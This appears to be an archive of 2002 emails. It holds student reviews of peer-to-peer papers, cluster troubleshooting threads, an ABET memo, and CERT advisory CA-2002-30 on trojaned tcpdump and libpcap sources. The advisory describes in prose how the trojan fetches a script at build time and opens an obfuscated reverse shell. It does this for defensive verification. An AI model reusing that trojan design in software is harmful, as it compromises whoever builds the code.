the network and constrained by an asymmetric, possibly slow last-mile connection, for social reasons such as demand for ""music-sharing"", social conscience, are the most likely to be early adopters of P2P filesharing, and form the vast majority of the online community. Even with widespread adoption in the corporate world or infrastructure companies, end-users will be the rule rather than the exception. Thus, P2P file systems must explicitly take into account the vast disparities of capabilities within the system, as an ad hoc approach is unlikely to map functionality onto the appropriate nodes. The important constraints are system lifetime, bandwidth, and trustworthiness. For reasons of reliability, a P2P system should map index state and critical high degree routing tables or hotspots onto systems well-endowed in the above areas, for otherwise underpowered systems would choke on high query and routing traffic, and freeloading nodes can potentially drop queries and route requests. The Saroiu paper suggests mechanisms for ensuring these qualities in a network, see below for description. ** The small-world phenomenon: An algorithmic perspective This paper discusses theoretical bounds on the performance of local routing algorithms in a class of random graph models. In many classes of random graphs, the expected network diameter is small, and hence there exist short routing paths. However, it is difficult for a routing algorithm to find such paths given only local routing information. The topology in this paper is a 2-D lattice with deterministic local connectivity and non-deterministic global connectivity, where the long-range links obey a power distribution (parameter r) on the distance of the hop. It is shown that a routing algorithm which is aware of the location of the target on the lattice, the deterministic local structure, and the routing tables of all nodes which have touched a particular message, finds routes with short (logarithmic) expected hop counts if and only if r=2, and indeed such a routing algorithm will yield this bound for any topology in which which links are equally likely to occur in any level (range 2^j-2^j+1). The intuition is that the r=2 distribution allows the local routing algorithm to determine a good route given geographic knowledge of the network. ** P2P and the small world phenomena This work's main contribution is an analysis of the differing failure modes in Gnutella and Freenet. Gnutella clients tend to form a small number of links, whose node distribution is exponential in the out-degree. Freenet tends to form networks whose node distributions follow a powerlaw in the out-degree. Thus, Freenet is considerably more resilient against random failure than Gnutella. However, Gnutella is considerably more resilient against directed attack against high degree nodes, the intuition being that the exponential distribution tends to make every node about equally useful, and hence a directed attack does not differ much from random failures. The author also notes that a freeriding node in Freenet does not tend to pollute query operations, as routing would never be established through such a node. However, Gnutella does establish links to nodes that only issue queries, and hence such non-sharing nodes may waste slots and decrease the number of useful nodes covered by the TTL horizon. ** A Measurement Study of Peer-to-Peer File Sharing Systems This paper evaluates the distribution of node capabilities and trustworthiness in the Gnutella and Napster networks. It finds that, as expected, most nodes are indeed operated by users on the edge of the Internet, and hence connected to the Internet via slow or asymmetric links. Moreover, nodes are very likely to lie about their available bandwidth, and the vast majority do not share files, as providing this information in both of these systems strictly worsens one's performance, and users are likely to log off the network once the desired files are found. Hence, P2P systems must either independently verify the bandwidth of each node in the system, or provide incentives for honesty. Moreover, the clients should be designed such that users are encouraged to remain online, and to share files. Without such mechanisms, the social (irate ISPs) and performance consequences favor freeloading attitudes, and mainly the altruism of a small part of the online community keeps these systems useful. ",0,0 Sangeeth Chandrakumar ,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 13:01:54 -0500",615 PAPER 63," submitted by sangeeth Chandrakumar The paper on the small-phenomenon presents an algorithmic perspective to the principle that we are all linked by short chains of acquaintances. Over many trials, it was shown that the average number of intermediate steps in a successful chain from any arbitrary source to any destination lies between five and size, a quantity which is popularly referred to as the ""six degrees of separation"". In the paper, this theory has been associated with decentralized networks. It has been proven that form random graph theory, with high probability there exists between every pair of nodes whose lengths are bounded by a polynomial in log N. The main contribution of the paper is that, there is a correlation between local structure and long-range connections provides fundamental cures for finding paths through the network. When the correlation is near a critical threshold, the structure allows individuals to guide a message efficiently towards a target. As the correlation drops below a value, the model still have short chains in between, but the individuals are unable to find them. The performance paper tries to quantity the p2p system sin terms of bandwidth, latency, fault tolerance capability and scaling abilities. Computer networks bears a strong resemblance to social networks and can be represented by graphs in a similar way. This paper explains the general graph theory and correlates the performance of freenet and gnutella to a small-world model. Two important characteristics of a graph is its pathlength and clustering coefficient. In a uniform graph mode, the pathlength is order of N and the clustering coefficient is also high as most of the nodes connected by its neighbors are also connected to the given node. In a random graph, however the pathlengths becomes proportional to the logarithmic value and the clustering coefficient is also shown to have a low value. Freenet's routing is depth oriented, that is it is depends on the neighbor's routing tables to send a query to its destination. Simulations indicae that freenet networks do evolve small world characteristics. From a uniform model. by randomly adding a few links, the freenet network is shown to show characteristics of random graph. Freenet has good average performance but poor worst case performance. The results holds good, when the number of nodes increases. The network is shown to have good fault tolerant capability till 30 % of all nodes fail. But a random characteristic, in which a few nodes remain highly connected, makes the network succeptible to attacks on nodes. Gnutella queries perform a breadth-first search on the network graph. So it is neccessary that the network graph is connected for the request to eventually reach some peer having the desired data. A random model gnutella network is also shown to have to small world characteristics. Moreover gnutella is shown to respond equally to failure and attack. But gnutella scales linearly with increasing number of nodes. Modifying a pure decentralized network to a partly heirarchical structure is shown to exhibit better properties in terms of both scalability and with respect to path lengths. The third paper performs an evaluation of gnutella and napster network for characteristics such as bandwidth bottlenecks, IP-level latency, node availability, degree of co-operation. The measurements were done done using a network crawler for a few days time on each set of peers. They came up with the following observations: 1. a peer tends to have higher downstream than upstream bandwidth. Gnutella users tend to have higher downstream bottleneck than napster users, probably due to the fact that more gnutella users are tech savvy having better links to internet. 2. In a p2p system, where connections are forged in an ad-hoc way, a substantial fraction of connections will suffer form high latency. 3. The median availability of users was found to be 60 minutes. 4. Substantial number of ""free-riders"" exists in both the networks. 5. Although highly resilient in the face of random breakdowns, gnutella is vulnerable in the face of well orchestrated, targeted attacks. So well designed p2p system should take the following into consideration: - p2p systems should delegate different degrees of responsibility to different hosts, based on hosts physical characteristics and the degree of trust. - a robust system should attempt to directly measure the physical characteristics of peers in the system. - a robust system should account for the hosts heterogenity, relying on self-inspection and adaptation to exploit the differences in the hosts characteristics. ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 12 Nov 2002 13:24:41 -0500",RE: [Fwd: the Richmond saga continues],"Hi, I rebooted the pscm1 and all the nodes. I was bringing them up 10 at at time. The current status is: 1. node 8 is down. It hangs during POST just after HDD is detected. The null-modem cable is currently attached to that node. 2. some of the nodes would not boot right away. They ususaly hang just after bpslave is started during recv: /lib/libc-2.2.4.so Probably some transient network problems, since they boot up after couple of retries. 3. Secondary master (node 48) hangs during boot, at ""Adding swap space"" 4. The FAN led is off on the Primary Master (does it mean that internal processor's fan does not work, since the main power fan was blowing air? 5. T1 led on node 45 is off. What this led is saying? Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Tuesday, November 12, 2002 9:11 AM To: Sasko Stafanovski Subject: [Fwd: the Richmond saga continues] hi sasko, see the attached message from steven james. when you get a chance, please reboot the entire cluster and send him an email. thanks-in-advance, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 12 Nov 2002 13:53:28 -0500",RE: [Fwd: the Richmond saga continues],">> I rebooted the pscm1 and all the nodes. I was bringing them up 10 at at >> time. >i was doing them two at a time. did any alarms go off on the backup >power supplies. No, no alarms went off. >> 3. Secondary master (node 48) hangs during boot, at ""Adding swap space"" >this was working yesterday??? I havn't checked yesterday. But since after rebooting the pscm1 node 48 was down, I connect the keyboard and the monitor to it, and by that time it was rebooting itself. Sasko ",0,0 Hongzhou Liu ,Gun Sirer ,"Tue, 12 Nov 2002 14:06:24 -0500",615 PAPER 63," Three papers are presented today. Jon Kleinberg's paper introduces the small world phenomenon and summarizes some previous work in the area. While previous work focuses on the question: why should there exist short chains of acquaintances linking together arbitrary pairs of strangers, this paper is intent to answer another question: why should arbitrary pairs of strangers be able to find such short chains. The paper defines an infinite family of random network modles that simulates a small world and proves that in most cases, decentralized algorithms are unable to find such short chains effectively and that only in a unique modle within this family, decentralized algorithms are effective and are able to find such short chains in O(log n) time(where n is the number of nodes in the network), which may be the best routing performance we can expect in a p2p system. Thus unstructured p2p systems, if designed carefully, can perform at least as well as structured p2p system with respect to routing performace. The O'Reilly P2P book also investigates the small world model and compares two p2p systems, Freenet and Gnutella, which can be considers two instances of the small world model. As expected, both Freenet and Gnutella are able to deliver messages any pair of nodes in the systems using a short path. However, there are still some differences between these two systems. The lookup path length in Gnutella is shorter than that in Freenet, because Gnutella uses BFS search. Gnutella, however, has a much higher overhead than Freenet, because is uses broadcast to flood queries and queries are forwarded by nodes if they can meet the queries in their local store. Broadcasting property also limits Gnutella's scalability because broadcast in a large network requires high bandwidth. The paper suggests to modify Gnutella to a hierarchical model to improve its scalability which will harm Gnutella's autonomy in some degree of course. Thus here we can see another tradeoff between structured and unstructureed p2p systems. Structured systems can guarrantee that lookup scales logarithmically, however, it implies a considerable loss of autonomy promised by peer-to-peer.Regarding scalability, unstructured p2p systmes can perform as well as structured systems and they can outperform structured systems in self-organization. This paper also compares Freenet and Gnutella's performance with respect to fault tolerance. The paper states that Freenet behaves better under dandom failure, but Gnutella can better cope with targeted attacks. However, the paper make an unreasonable assumption here. That is the attacker is able to locate nodes with high links in Freenet easily and thus start attacks on them. The localiztion of these nodes, however I think, should be very difficult given Freenet's anonymity schems. Such targeted attacks requires some efforts in Freenet. The paper from UW evalutes two popular peer-to-peer file sharing system in various aspects. The measurement in this paper shows there is siginificant hereroneneity and lack of cooperation across peers prticipating in these systems, which, however, is noticed by few currect(relative to the paper) peer-to-peer architectures.The paper also points some general guides that each p2p systems designer should pay attention to: -The set of nodes in p2p systems is heterogeneous with respect to many characteristics :bandwidth, latency, lifetime, shared data and etc. P2P systems should delegate different degrees of responsibility to different nodes, based on the hosts' physical characteristics and the degree of trust or reliability. -Lots of peers in the P2P systems have a quite short lifetime, typically less than one hour. P2P system should be self-adaptive to the changes in the system. -A large fraction of peers in the system can be dishonest. They may, for example, mis -report they bandwidth for their own benefits. Thus P2P systems should have the ability to measure these data itself. -Lots of nodes in the P2P systems are free riders. P2P systems should have some schemes that can exclude these free riders and encourage nodes to provide their own resources to the system. ",0,0 ks238@cornell.edu,egs@CS.Cornell.EDU,"Tue, 12 Nov 2002 14:38:15 -0500",615 Paper 63,"The focus of these three papers is on decentralized P2P systems and searching through them. We first start with Kleinberg�s study of the �Small World Phenomenon� which is an algorithmic approach to routing in a decentralized P2P system. This notion, which was founded my Milgram after conducting a series of societal experiments led him to conclude that the average distance (measured in the number of intermediate people between a starting person and a target node) is approximately 5.5. Kleinberg uses this notion and applies it to the study of decentralized networks and their inherent structure. He argues that while searching in a network that exhibits small world properties one must look for that node which exhibits the largest jump from one cluster of nodes to another. In other words, the person who almost serves as a �gateway� to an alternate cluster of people in an area that is close to the target. When such nodes can be contacted, it is possible to have (log n)^2 nodes in each route, where n is the total number of nodes in the network. This is a very efficient runtime that is achieved and proved in the paper. In the next paper we see an evaluation between Gnutella and Freenet. In Freenet we see a system which assumes a connected network, whereby, traversing certain nodes in the graph can and will eventually allow us to reach the target node. Also, it assumes that short routes exist between two peers so that they can communicate with a relative small number of hops. Because Freenet exhibits the small world properties discussed by Kleinberg, the number of hops in routes is about the same. The second case that is studied is that of Gnutella, which doesn�t assume a small world. The key point of Gnutella is that it employs a broadcasting scheme which �saturates� the network with requests in an effort to find the shortest route. Each node tries to have three more simultaneous links that it broadcasts to and through iterative broadcasting at each hop, the target is eventually found. Gnutella is good in finding optimal paths however is weak since it costs so much to reach the results it does. The final paper is a measurement study of the Napster and Gnutella file sharing systems and the characteristics which reduce the performance of them. In the paper, the two systems were crawled with unique crawlers for both systems. Then based on these crawls, latency measurements, lifetime measurements and bottleneck bandwidth measurements were recorded. From these measurements a couple of contributions were made. First, they concluded that more people were serving as clients rather than servers. In other words, there was a larger number of peers that were downloading files rather than sharing files. In addition, another problem was the level of bandwidth that certain nodes exhibited that could potentially bottleneck a file transfer. To conclude, the primary contribution of this paper was to suggest the relevance of individual node properties in the actual performance of a P2P system. These papers touch on some very interesting and hot areas of current research. Many of the questions that should be addressed about such systems is security. P2P systems have an immense number of possible security breaches since your network�s performance is contingent on the reliability of other nodes. Also, an interesting topic that could also be discussed is using certain caching schemes that based on frequency of requests could mitigate the costs associated with long distant queries that are inherently expensive. ",0,0 Vivek Vishnumurthy ,Gun Sirer ,"Tue, 12 Nov 2002 14:46:18 -0500",615paper63,"The first paper among today's set (Kleinberg) presents the small-world model, and how one can build a network that matches the small-world model (the Watts-Strogatz Model), in that the distance between any two nodes in the network, on the average is small (logarithmic in the number of nodes). The paper also gives the necessary and sufficient condition for the distance (on average) as found by a purely distributed algorithm in practice to be small. The second paper (Theodore Hong) shows how a regular graph (with high clustering) and high path lengths can be transformed with very few changes, into a graph that fits the small-world model, and also retains the high clustering. It then shows that performance of P2P systems Freenet and Gnutella match the small-world model. It evaluates both in terms of average path-length during normal operation, failure (random) and attacks (malicious). Both Freenet and Gnutella perform well under normal operation (good hop counts). Freenet is robust under random failures, because of the widely varying number of links of different nodes. But its performance degrades rapidly for this very reason, under targeted attacks, where the most highly connected nodes are removed from the system. This paper finds that Gnutella resists both random failures and targeted attacks reasonably well, but it pays in terms of the total number of messages sent per query. (That Gnutella resists targeted attacks is contradicted by the next paper) The third paper (Saroiu...) performs a measurement study of Napster and Gnutella. It finds that the two systems are widely heterogeneous, and conventional P2P systems that assume uniform capacities of all nodes and delegate responsibilities uniformly have to be adapted to such systems. It also finds that a substantial percentage of the peers misreport their capacities (since there is an incentive to lie). Thus it concludes that the system should be built in such a way that (i) capacities (bandwidths, etc.) are measured directly, rather than having to rely on a peer to report its capacity itself, OR (ii) create an incentive to be truthful, by rewarding peers that contribute to the functioning of the network. It finds that Gnutella is highly susceptible to targeted attacks. These papers suggest that unstructured P2P systems could perform well under normal modes of operation, but face one common problem: drastic performance degradation under targeted attacks. A more structured P2P system (eg: a Centralized system) could resist such an attack by preferentially protecting more important nodes against attacks. ",0,0 steven james ,"""Stefanovski, Sasko"" ","Tue, 12 Nov 2002 14:53:22 -0500",RE: [Fwd: the Richmond saga continues],"Greetings, Node 8 looks like it may have lost it's boot order configuration, and is trying the HD before PXE. The Tyan BIOS frequently tries to boot the MBR blindly (leaving the serial screen scrape ISR in place) resulting in a hang. The BIOS can be reset through minicom (hit reset on node, then hit F2 on minicom. In the boot order menu, the UNDI should be above hard drvie. The other node's boot issue likely is a transient net condition. This sort of thing is fairly common in booting since all nodes demand the master at once and even w/ gig on the master, max out it's bandwidth 5 times over. I found the sec. master running. Just in case, I re-made it's swap space and rebooted it. It is up now. On the master, it sounds like the LED is actually the problem. The LEDs refer to the internal case fans. Those fans are also connected to a beeper that will emit a piercing alarm if any fan's RPM goes too low. Really, the LEDs on those cases are a sort of one size fits all thing. One might expect the T leds to refer to temperature, but really they just indicate that they have power in this case. Just to be sure, I checked CPU temp and fan RPM on the nodes, and they show normal (in /proc/sys/dev/sensors/w83782d-i2c-0-2d ) I will have a look at the remaining library issues. G'day, sjames On Tue, 12 Nov 2002, Stefanovski, Sasko wrote: > Hi, > > I rebooted the pscm1 and all the nodes. I was bringing them up 10 at at > time. > The current status is: > 1. node 8 is down. It hangs during POST just after HDD is detected. The > null-modem cable is currently attached to that node. > 2. some of the nodes would not boot right away. They ususaly hang just after > bpslave is started during recv: /lib/libc-2.2.4.so > Probably some transient network problems, since they boot up after couple > of retries. > 3. Secondary master (node 48) hangs during boot, at ""Adding swap space"" > 4. The FAN led is off on the Primary Master (does it mean that internal > processor's fan does not work, since the main power fan was blowing air? > 5. T1 led on node 45 is off. What this led is saying? > > Sasko > > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Tuesday, November 12, 2002 9:11 AM > To: Sasko Stafanovski > Subject: [Fwd: the Richmond saga continues] > > > hi sasko, > > see the attached message from steven james. when you get a > chance, please reboot the entire cluster and send him an email. > > thanks-in-advance, > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 John Vesecky ,eefac@cse.ucsc.edu,"Wed, 13 Nov 2002 11:13:49 -0800",ABET coordination for EE,"EE faculty, First, I believe that all the EE faculty are aware of the very high importance of ABET accreditation. The advantages of accreditation are numerous and I continue to find out ones that I was previously unaware of. For example, there can be no Tau Beta Pi chapter at UCSC until we have two accredited programs -- we currently have only CE accredited. EE has fallen seriously behind the schedule for ABET preparation, posted on the ABET website (www.soe.ucsc.edu/~larrabee/abet/). As you know, the resignation of Jiayuan Fang and Don Wiberg's surgery have severely impacted our ABET preparation efforts. We now have only 5 senior and two junior faculty available at present with Peyman returning from sabbatical in January. Jiayuan's resignation has removed the person who would be primarily responsible for ABET preparation. At the last SoE ABET meeting this problem was discussed and it was decided that a new EE ABET coordinator needed to be found immediately. I spoke to several of you regarding this position. It became apparent that with so few EE faculty available for service appointments and both Claire and Ben serving on major Academic Senate Committees there was really no one who could do this very important job properly. At this point Tracy Larrabee graciously and generously volunteered to be the coordinator for both CE and EE. To perform this job effectively Tracy needs to become, in effect, an EE department member. Tracy is already an EE associated faculty (under the diamonds) because of her interest in VLSI. In this ABET role she will coordinate ABET preparation for EE, assigning tasks to EE faculty and providing a resource for questions about preparation. To provide the cooperation that Tracy needs to help EE effectively in this role, I propose that Tracy be added to the EEfac email alias and attend EE faculty meetings at her discretion. I have already spoken to many of you about this, but please let me have any further comments that you wish to express. To be successful in our quest of ABET accreditation EE faculty and staff must support Tracy by handling the ABET tasks she requests of us promptly and with high quality results. To support Tracy in this effort there will be an ABET committee within EE which will perform the most needed ABET tasks that are not more appropriately done by individual faculty. I have already spoken to several faculty who have agreed to serve on this committee. For this quarter Holger Schmidt, Don Wiberg (when he is again able) and myself will constitute the ABET committee. Beginning in January Mike Isaacson, Ali Shakouri, Don Wiberg and myself will be on the ABET committee. Please convey your thanks to Tracy for her generous service to us in EE and the School of Engineering. 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Overview The CERT/CC has received reports that several of the released source code distributions of the libpcap and tcpdump packages were modified by an intruder and contain a Trojan horse. We strongly encourage sites that use, redistribute, or mirror the libpcap or tcpdump packages to immediately verify the integrity of their distribution. I. Description The CERT/CC has received reports that some copies of the source code for libpcap, a packet acquisition library, and tcpdump, a network sniffer, have been modified by an intruder and contain a Trojan horse. The following distributions were modified to include the malicious code: tcpdump md5sum 3a1c2dd3471486f9c7df87029bf2f1e9 tcpdump-3.6.2.tar.gz md5sum 3c410d8434e63fb3931fe77328e4dd88 tcpdump-3.7.1.tar.gz libpcap md5sum 73ba7af963aff7c9e23fa1308a793dca libpcap-0.7.1.tar.gz These modified distributions began to appear in downloads from the HTTP server www.tcpdump.org on or around Nov 11 2002 10:14:00 GMT. The tcpdump development team disabled download of the distributions containing the Trojan horse on Nov 13 2002 15:05:19 GMT. However, the availability of these distributions from mirror sites is unknown. At this time, it does not appear that related projects such as WinPcap and WinDump contain this Trojan horse. The Trojan horse version of the tcpdump source code distribution contains malicious code that is run when the software is compiled. This code, executed from the tcpdump configure script, will attempt to connect (via wget, lynx, or fetch) to port 80/tcp on a fixed hostname in order to download a shell script named services. In turn, this downloaded shell script is executed to generate a C file (conftes.c), which is subsequently compiled and run. When executed, conftes.c makes an outbound connection to a fixed IP address (corresponding to the fixed hostname used in the configure script) on port 1963/tcp and reads a single byte. Three possible values for this downloaded byte are checked, each causing conftes.c to respond in different ways: * 'A' will cause the Trojan horse to exit * 'D' will cause the Trojan to fork itself, spawn a shell, and redirect this shell to the connected IP address (Note that communication to and from this shell is obfuscated by XORing all bytes with the constant 0x89.) * 'M' will cause the Trojan horse to close the connection and sleep for 3600 seconds To mask the activity of this Trojan horse in tcpdump, libpcap, the underlying packet-capture library of tcpdump, has been modified (gencode.c) to explicitly ignore all traffic on port 1963 (i.e., a BPF expression of ""not port 1963""). II. Impact An intruder operating from (or able to impersonate) the remote address specified in the malicious code could gain unauthorized remote access to any host that compiled a version of tcpdump with this Trojan horse. The privilege level under which this malicious code would be executed would be that of the user who compiled the source code. III. Solution We encourage sites using libpcap and tcpdump to verify the authenticity of their distribution, regardless of where it was obtained. Where to get libpcap and tcpdump While the compromise of these distributions is being investigated, the tcpdump and libpcap maintainers recommend using the following distribution sites: http://sourceforge.net/projects/tcpdump/ http://sourceforge.net/projects/libpcap/ Sites that mirror the source code are encouraged to verify the integrity of their sources. We also encourage users to inspect any and all other software that may have been downloaded from the compromised site. Note that it is not sufficient to rely on the timestamps or sizes of the file when trying to determine whether or not you have a copy of the Trojan horse version. Verifying checksums The MD5 hashes of the vendor suggested updates for libpcap and tcpdump are as follows: tcpdump md5sum 03e5eac68c65b7e6ce8da03b0b0b225e tcpdump-3.7.1.tar.gz libpcap md5sum 0597c23e3496a5c108097b2a0f1bd0c7 libpcap-0.7.1.tar.gz As a matter of good security practice, the CERT/CC encourages users to verify, whenever possible, the integrity of downloaded software. For more information, see http://www.cert.org/incident_notes/IN-2001-06.html Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Conectiva We have checked all our released libpcap and tcpdump packages and confirmed that they do not contain the trojan code. Debian Problematic packages are only distributed in Debian/unstable. I have examined both source packages and they did not contain the trojan code the HLUG reported on their web page. Hence, I guess that Debian distributes safe source. MontaVista Software, Inc. We have examined our sources, and our software does not contain this trojan. We are not vulnerable to this advisory. SuSE SuSE Linux products are not vulnerable. _________________________________________________________________ Feedback can be directed to the author: Roman Danyliw, Chad Dougherty. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-30.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Fri Nov 15 09:07:07 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gAEFrRC11250 for ; Thu, 14 Nov 2002 10:53:27 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gAEFrK401163 for ; Thu, 14 Nov 2002 10:53:20 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002111410532014723 for ; Thu, 14 Nov 2002 10:53:20 -0500 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gAEFrKw11772 for ; Thu, 14 Nov 2002 10:53:20 -0500 Received: from h-66-167-144-163.mclnva23.covad.net ([66.167.144.163] helo=mindspring.com) by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) id 18CMIw-0005Iw-00; Thu, 14 Nov 2002 10:53:18 -0500 Sender: gilfoyle@polyester.richmond.edu Message-ID: <3DD3FFF8.7509429B@mindspring.com> Date: Thu, 14 Nov 2002 11:56:40 -0800 From: gilfoyle Reply-To: ggilfoyl@richmond.edu Organization: University of Richmond Physics Department X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: status of the Richmond cluster Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Status: RO X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb26730000429b hi steven, i'm checking in (when there is no beam) to find out the status of the cluster. have the library issues been resolved? if so, what was the solution? i'm itching to let this thing get cooking. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Fri Nov 15 10:56:14 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gAFExTC28490 for ; Fri, 15 Nov 2002 09:59:29 -0500 Received: from urmail-ag.richmond.edu (urmail-ag.richmond.edu [141.166.183.2]) by argyle.richmond.edu (8.11.6/8.11.6) with ESMTP id gAFEx9419666 for ; Fri, 15 Nov 2002 09:59:09 -0500 Received: by urmail-ag.richmond.edu with Internet Mail Service (5.5.2653.19) id ; Fri, 15 Nov 2002 09:59:09 -0500 Message-ID: From: ""Stefanovski, Sasko"" To: ""Gilfoyle, Gerard"" Subject: RE: bbftp for the cluster Date: Fri, 15 Nov 2002 09:59:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Status: X-Mozilla-Status: 8011 X-Mozilla-Status2: 00000000 X-UIDL: 38eb2673000042bd Jerry, I installed bbftp client on pscm1. It can be accessed as /usr/local/bin/bbftp. Note also that the new cluster is running gcc-2.96 and not gcc-3.0.4 that we had installed on the old one. Tell me when you are ready so I can roll out the new gcc. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@mindspring.com] Sent: Thursday, November 14, 2002 3:08 PM To: Sasko Stafanovski Subject: bbftp for the cluster hi sasko, when you get a chance could you install bbftp on pscm1. this package was, i think, installed before, but it looks like it may have been wiped out by the upgrade. we need this to transfer data from jlab to the cluster. there is a web-page at jlab at the following address. http://cc.jlab.org/docs/scicomp/how-to/off-site-data-transfers.html more stuff here. http://doc.in2p3.fr/bbftp/ thanks-in-advance, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Mon Nov 18 10:21:19 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gAGDTcC03413 for ; Sat, 16 Nov 2002 08:29:38 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gAGDTM417410 for ; Sat, 16 Nov 2002 08:29:22 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002111608292111338 for ; Sat, 16 Nov 2002 08:29:21 -0500 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gAGDTLw13839 for ; Sat, 16 Nov 2002 08:29:21 -0500 Received: from h-66-167-144-163.mclnva23.covad.net ([66.167.144.163] helo=mindspring.com) by maynard.mail.mindspring.net with esmtp (Exim 3.33 #1) id 18D30i-0006Eu-00; Sat, 16 Nov 2002 08:29:20 -0500 Sender: gilfoyle@polyester.richmond.edu Message-ID: <3DD672F2.A39AAE26@mindspring.com> Date: Sat, 16 Nov 2002 08:31:46 -0800 From: gilfoyle Reply-To: ggilfoyl@richmond.edu Organization: University of Richmond Physics Department X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: Re: status of the Richmond cluster References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Status: RO X-Mozilla-Status: 8011 X-Mozilla-Status2: 00000000 X-UIDL: 38eb2673000042e0 hi steven, thanks for your help. i'll check this out in the next day or two. jerry steven james wrote: > > Greetings, > > I believe I have all of the library issues dealt with. > > I noticed a possably confusing behaviour that might have been the root of > some of this. > > Perl depends on several libraries in /lib to run. Unlike those in > /usr/lib, they were being managed by caching rather than just being > available from NFS. It can take about a minute for the libs to be fetched > from the master. During that time, the app will appear hung, but will > eventually start. > > I have pre-cached the files onto the node's local drive to try to avoid > that delay. > > Since the libs are cached, once that startup penelty is paid, it doesn't > happen again for those libs on that node until reboot. > > You can see this happen using tcpdump (I have a binary of it in my home > directory). The libs are transferred as a stream of multicast packets. > > Please let me know if this gets it going. If problems remain, a good > approach might be for me to make a copy of your test data and try the runs > myself until the expected results come up. > > G'day, > sjames > > On Thu, 14 Nov 2002, gilfoyle wrote: > > > hi steven, > > > > i'm checking in (when there is no beam) to find out the > > status of the cluster. have the library issues been resolved? > > if so, what was the solution? i'm itching to let this thing > > get cooking. > > > > jerry > > > > > > -- > -------------------------steven james, director of research, linux labs > ... ........ ..... .... 230 peachtree st nw ste 701 > the original linux labs atlanta.ga.us 30303 > -since 1995 http://www.linuxlabs.com > office 404.577.7747 fax 404.577.7743 > ----------------------------------------------------------------------- -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Mon Nov 18 10:21:17 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gAFNCTC11841 for ; Fri, 15 Nov 2002 18:12:29 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gAFNBs408983 for ; Fri, 15 Nov 2002 18:11:54 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002111518115303960 for ; Fri, 15 Nov 2002 18:11:53 -0500 Received: from ucontrol.mobiledns.com (ucontrol.mobiledns.com [216.162.33.29]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gAFNBrw20395 for ; Fri, 15 Nov 2002 18:11:53 -0500 Received: from localhost (pyro@localhost) by ucontrol.mobiledns.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id gAFNBrR17988 for ; Fri, 15 Nov 2002 18:11:53 -0500 Date: Fri, 15 Nov 2002 18:11:52 -0500 (EST) From: steven james X-Sender: pyro@ucontrol.mobiledns.com To: ggilfoyl@richmond.edu 